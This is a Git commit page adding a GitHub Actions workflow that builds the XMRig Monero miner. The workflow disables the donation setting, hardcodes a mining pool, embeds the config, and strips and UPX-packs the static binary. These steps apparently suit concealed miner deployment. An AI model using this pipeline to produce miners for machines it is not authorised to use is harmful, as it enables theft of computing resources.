Add .github/workflows/build.yml
Some checks failed
Build XMRig / xmrig-linux-static-x64 (push) Has been cancelled
Some checks failed
Build XMRig / xmrig-linux-static-x64 (push) Has been cancelled
This commit is contained in:
commit
62fe57e7f2
52
.github/workflows/build.yml
vendored
Normal file
52
.github/workflows/build.yml
vendored
Normal file
@ -0,0 +1,52 @@
|
|||||||
|
name: Build XMRig
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- main
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
xmrig-linux-static-x64:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout XMRig code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
with:
|
||||||
|
repository: xmrig/xmrig
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
run: |
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install -y git build-essential cmake libuv1-dev libssl-dev libhwloc-dev upx
|
||||||
|
|
||||||
|
- name: Disable the XMRig donate function
|
||||||
|
run: |
|
||||||
|
sed -i 's/DonateLevel\ =\ 1/DonateLevel\ =\ 0/g' src/donate.h
|
||||||
|
sed -i 's/"donate-level":\ 1/"donate-level":\ 0/g' src/core/config/Config_default.h
|
||||||
|
sed -i 's/"donate-over-proxy":\ 1/"donate-over-proxy":\ 0/g' src/core/config/Config_default.h
|
||||||
|
sed -i 's/donate.v2.xmrig.com:3333/xmr-us-west1.nanopool.org:10343/g' src/core/config/Config_default.h
|
||||||
|
sed -i 's/${{ secrets.WALLET_ADDRESS }}/xmrig/g' src/core/config/Config_default.h
|
||||||
|
sed -i 's/"nicehash":\ false/"nicehash":\ true/g' src/core/config/Config_default.h
|
||||||
|
sed -i 's/"tls":\ false/"tls":\ true/g' src/core/config/Config_default.h
|
||||||
|
|
||||||
|
- name: Build library dependencies
|
||||||
|
run: |
|
||||||
|
cd scripts && ./build_deps.sh
|
||||||
|
|
||||||
|
- name: Build XMRig binary
|
||||||
|
run: |
|
||||||
|
mkdir build && cd build
|
||||||
|
cmake .. -DXMRIG_DEPS=scripts/deps -DBUILD_STATIC=ON -DWITH_EMBEDDED_CONFIG=ON
|
||||||
|
make -j$(nproc)
|
||||||
|
|
||||||
|
- name: Compress executable files
|
||||||
|
run: |
|
||||||
|
cd build
|
||||||
|
strip xmrig
|
||||||
|
upx xmrig
|
||||||
|
|
||||||
|
- name: Archive artifacts
|
||||||
|
uses: actions/upload-artifact@v3
|
||||||
|
with:
|
||||||
|
name: xmrig-linux-static-x64
|
||||||
|
path: build/xmrig
|
Loading…
x
Reference in New Issue
Block a user